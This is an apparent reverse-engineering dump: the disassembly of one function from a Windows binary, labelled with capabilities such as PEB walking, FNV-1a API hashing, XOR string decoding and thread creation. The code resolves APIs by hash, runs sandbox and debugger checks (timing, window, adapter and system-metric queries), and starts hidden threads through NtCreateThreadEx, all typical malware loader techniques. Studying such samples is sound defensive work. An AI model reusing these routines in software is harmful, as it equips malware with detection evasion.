Function at 0x14008b400
Capabilities:
Access peb ldr_data
Create thread
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x3e0
lea rbp, [rsp + 0x80]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1401560e8]
xor rax, rsp
mov qword [rbp + 0x350], rax
movabs rax, 0xe651aa15510eda35
movabs r15, 0xba7f35381da4544e
mov qword [rbp], rax
xor r13d, r13d
mov rax, qword [rbp]
movabs r12, 0xe651aa15510eda05
mov qword [rbp + 0xa0], rax
mov rsi, 0xffffffffffffffff
mov qword [rbp], r15
mov r8, rsi
mov rax, qword [rbp]
mov qword [rbp + 0xa8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
vmovdqu xmm0, xmmword [rbp + 0xa0]
mov qword [rbp + 0x1e8], rax
lea rax, [rbp + 0xa0]
vpxor xmm1, xmm0, xmmword [rbp + 0x1e0]
vpxor xmm2, xmm2, xmm2
vmovdqu xmmword [rbp + 0xa0], xmm1
vmovups xmmword [rbp + 0xe0], xmm2
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], r13
nop dword [rax]
inc r8
cmp byte [rax + r8], r13b
jne 0x14008b4e0
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0xe0]
call fcn.1400288f0
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x140], xmm0
mov qword [rbp + 0x150], r13
lea rdx, section..fat
mov qword [rbp + 0x158], r13
mov r8, rsi
inc r8
cmp byte [rdx + r8], r13b
jne 0x14008b520
lea rcx, [rbp + 0x140]
call fcn.1400288f0
cmp qword [rbp + 0x158], 0x10
lea rdx, [rbp + 0x140]
mov r8, qword [rbp + 0x150]
lea rcx, [0x140175318]
cmovae rdx, qword [rbp + 0x140]
call fcn.140034980
lea rcx, [rbp + 0x140]
call fcn.1400274a0
lea rcx, [rbp + 0xe0]
call fcn.1400274a0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov edi, ecx
add rdi, r10
mov qword [rbp], rcx
cmp rdi, r10
je 0x14008b607
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008b607
mov ebx, dword [rdi + 0x20]
nop word [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008b602
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14008b5e0
cmp r8d, 0x99fbc63d
je 0x14008b60c
test r9d, r9d
jne 0x14008b5c0
mov rax, qword [rax]
jmp 0x14008b590
mov eax, dword [rdi + 0x24]
lea rdx, [rbp + 0x240]
mov ecx, dword [rdi + 0x1c]
add rax, r10
add rcx, r10
mov r8d, 0x104
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
xor ecx, ecx
add r9, r10
call r9
movabs rax, 0xe651aa153476bf2b
lea rcx, [rbp + 0x120]
mov qword [rbp], rax
mov edx, socket
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x200], rax
mov qword [rbp], r15
mov rax, qword [rbp]
vmovdqu xmm0, xmmword [rbp + 0xc0]
mov qword [rbp + 0x208], rax
vpxor xmm1, xmm0, xmmword [rbp + 0x200]
vmovdqu xmmword [rbp + 0xc0], xmm1
call fcn.140037e60
lea rcx, [rbp + 0xc0]
mov r8, rsi
nop
inc r8
cmp byte [rcx + r8], r13b
jne 0x14008b6b0
lea rdx, [rbp + 0xc0]
mov rcx, rax
call fcn.140027500
mov qword [rbp + 0x70], r13
lea r14, [rbp + 0x60]
mov qword [rbp + 0x78], r13
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x60], xmm0
vmovups ymm0, ymmword [rax]
vmovups ymmword [rbp + 0x60], ymm0
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], recv
mov byte [rax], r13b
mov rax, qword gs:[0x60]
cmp qword [rbp + 0x78], 0x10
cmovae r14, qword [rbp + 0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov edi, ecx
add rdi, r10
mov qword [rbp], rcx
cmp rdi, r10
je 0x14008b787
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008b787
mov ebx, dword [rdi + 0x20]
nop word [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008b782
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14008b760
cmp r8d, 0x81f2b7d3
je 0x14008b78c
test r9d, r9d
jne 0x14008b740
mov rax, qword [rax]
jmp 0x14008b710
mov eax, dword [rdi + 0x24]
mov rdx, r14
mov ecx, dword [rdi + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
lea rcx, [rbp + 0x240]
add r8, r10
vzeroupper
call r8
lea rcx, [rbp + 0x60]
mov ebx, eax
call fcn.1400274a0
lea rcx, [rbp + 0x120]
call fcn.1400274a0
test ebx, ebx
je 0x14008b7d9
mov eax, 1
jmp 0x14008bef8
xor edx, edx
xor ecx, ecx
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
movabs rax, 0x8a3584793d6aae6b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0xba7f35381da45422
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
mov qword [rbp], r15
mov rax, qword [rbp]
vmovdqu xmm0, xmmword [rbp + 0x100]
mov qword [rbp + 0x228], rax
vpxor xmm1, xmm0, xmmword [rbp + 0x220]
vmovdqu xmmword [rbp + 0x100], xmm1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov edi, ecx
add rdi, r10
mov qword [rbp], rcx
cmp rdi, r10
je 0x14008b8e7
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008b8e7
mov ebx, dword [rdi + 0x20]
nop word [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008b8e2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14008b8c0
cmp r8d, 0x53b2070f
je 0x14008b8ec
test r9d, r9d
jne 0x14008b8a0
mov rax, qword [rax]
jmp 0x14008b870
mov eax, dword [rdi + 0x24]
mov ecx, dword [rdi + 0x1c]
add rax, r10
add rcx, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
lea rcx, [rbp + 0x100]
add rdx, r10
call rdx
mov ecx, 8
call fcn.1400bdd10
xor ecx, ecx
mov qword [rax], rcx
mov rcx, qword [0x1401754f0]
mov qword [0x1401754f0], rax
test rcx, rcx
je 0x14008b938
mov edx, 8
call fcn.1400bdfa4
mov ecx, 8
call fcn.1400bdd10
xor ecx, ecx
mov qword [rax], rcx
mov rcx, qword [0x140175500]
mov qword [0x140175500], rax
test rcx, rcx
je 0x14008b964
mov edx, 8
call fcn.1400bdfa4
call fcn.14008d9a0
mov ecx, 8
call fcn.1400bdd10
xor ecx, ecx
mov qword [rax], rcx
mov rcx, qword [0x1401754f8]
mov qword [0x1401754f8], rax
test rcx, rcx
je 0x14008b995
mov edx, 8
call fcn.1400bdfa4
call fcn.1400bc710
mov rbx, rax
call fcn.1400bc6f4
cmp rbx, 0x989680
jne 0x14008b9b1
imul rbx, rax, 0x64
jmp 0x14008b9d2
cqo
idiv rbx
mov rcx, rax
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
mov rbx, rax
imul rax, rcx, 0x3b9aca00
add rbx, rax
call fcn.1400bc710
mov rdi, rax
call fcn.1400bc6f4
cmp rdi, 0x989680
jne 0x14008b9ee
imul rax, rax, 0x64
jmp 0x14008ba0c
cqo
idiv rdi
mov rcx, rax
imul rax, rdx, 0x3b9aca00
imul rcx, rcx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
sub rax, rbx
vxorps xmm0, xmm0, xmm0
vcvtsi2sd xmm0, xmm0, rax
vdivsd xmm1, xmm0, qword [0x140138df8]
vcomisd xmm1, qword [0x140138db0]
ja 0x14008be5e
call fcn.14008c150
test al, al
jne 0x14008be5e
call fcn.14008c1a0
test al, al
jne 0x14008be5e
mov ecx, 0x59
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, 0x5b
mov ebx, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
setne al
test ebx, ebx
jne 0x14008be5e
test al, al
jne 0x14008be5e
call fcn.14008c1d0
test al, al
je 0x14008bb00
movabs rax, 0xe651aa79347bb464
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
mov qword [rbp], r15
mov rax, qword [rbp]
vmovdqu xmm0, xmmword [rbp + 0x40]
mov qword [rbp + 0x188], rax
lea rax, [rbp + 0x40]
vpxor xmm1, xmm0, xmmword [rbp + 0x180]
vpxor xmm2, xmm2, xmm2
vmovdqu xmmword [rbp + 0x40], xmm1
vmovups xmmword [rbp + 0x160], xmm2
mov qword [rbp + 0x170], r13
mov qword [rbp + 0x178], r13
inc rsi
cmp byte [rax + rsi], r13b
jne 0x14008baf2
jmp 0x14008bed9
mov qword [rsp + 0x50], r13
lea rbx, [0x14008aed0]
mov qword [rsp + 0x48], r13
lea rcx, [0x140174a60]
mov qword [rsp + 0x40], r13
mov r9, rsi
mov qword [rsp + 0x38], r13
xor r8d, r8d
mov dword [rsp + 0x30], r13d
mov edx, 0x2000000
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
mov rcx, qword [0x1401754f0]
lea rdx, [rbp + 0x80]
movabs rdi, 0xfc884f8b5c7c9507
movabs r14, 0xcb32ebfeb6589100
movabs r15, 0x8325cb70234dae4b
movabs r12, 0xc23a515978d63c1a
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
movabs rax, 0xe651aa15510eda05
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1a0], rax
movabs rax, 0xba7f35381da4544e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp], rdi
mov qword [rbp + 0x1a8], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
vmovdqu ymm0, ymmword [rbp + 0x80]
mov qword [rbp + 0x1b8], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x1a0]
vmovdqu ymmword [rbp + 0x80], ymm1
vzeroupper
call fcn.14008bf30
mov qword [rsp + 0x58], r13
lea rcx, [0x140174a60]
mov dword [rsp + 0x50], r13d
mov r9, rsi
mov dword [rsp + 0x48], r13d
xor r8d, r8d
mov edx, dword [rax + 4]
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x38], r13d
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], edx
mov edx, 0x2000000
call fcn.1400b9e80
test eax, eax
jns 0x14008bc73
mov eax, 0xfffffff4
jmp 0x14008bef8
mov rcx, qword [0x1401754f0]
lea rdx, [rbp + 0x20]
mov qword [rbp], r15
movabs rbx, 0xba7f35381da4544e
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0xe651aa15510eda05
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp], rbx
mov qword [rbp + 0x1c0], rax
mov rax, qword [rbp]
mov qword [rbp], rdi
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
vmovdqu ymm0, ymmword [rbp + 0x20]
mov qword [rbp + 0x1d8], rax
vpxor ymm1, ymm0, ymmword [rbp + 0x1c0]
vmovdqu ymmword [rbp + 0x20], ymm1
vzeroupper
call fcn.14008bf30
mov qword [rsp + 0x58], r13
mov r9, rsi
mov dword [rsp + 0x50], r13d
xor r8d, r8d
mov dword [rsp + 0x48], r13d
mov edx, 0x2000000
mov ecx, dword [rax + 4]
lea rax, [0x14008aee0]
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x38], 0x40
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
lea rcx, [0x140174a70]
call fcn.1400b9e80
test eax, eax
js 0x14008be57
mov rcx, qword [0x1401754f0]
lea rdx, [rbp + 0x20]
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0xe651aa15510eda05
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x170], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x178], rax
vmovdqu ymm0, ymmword [rbp + 0x160]
vpxor ymm1, ymm0, ymmword [rbp + 0x20]
vmovdqu ymmword [rbp + 0x20], ymm1
vzeroupper
call fcn.14008bf30
mov qword [rsp + 0x58], r13
mov r9, rsi
mov dword [rsp + 0x50], r13d
xor r8d, r8d
mov dword [rsp + 0x48], r13d
mov edx, 0x2000000
mov ecx, dword [rax + 4]
lea rax, [0x14008b3f0]
mov dword [rsp + 0x40], r13d
mov dword [rsp + 0x38], 0x40
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
lea rcx, [0x140174a68]
call fcn.1400b9e80
test eax, eax
js 0x14008be57
jmp 0x14008be55
mov eax, esi
jmp 0x14008bef8
movabs rax, 0xe651aa15510eb773
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x180], rax
mov qword [rbp], r15
mov rax, qword [rbp]
vmovdqu xmm0, xmmword [rbp + 0x40]
mov qword [rbp + 0x188], rax
lea rax, [rbp + 0x40]
vpxor xmm1, xmm0, xmmword [rbp + 0x180]
vpxor xmm2, xmm2, xmm2
vmovdqu xmmword [rbp + 0x40], xmm1
vmovups xmmword [rbp + 0x160], xmm2
mov qword [rbp + 0x170], r13
mov qword [rbp + 0x178], r13
nop
inc rsi
cmp byte [rax + rsi], r13b
jne 0x14008bed0
mov r8, rsi
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x160]
call fcn.1400288f0
lea rcx, [rbp + 0x160]
call fcn.140025570
mov rcx, qword [rbp + 0x350]
xor rcx, rsp
call fcn.1400bdcf0
lea r11, [rsp + 0x3e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret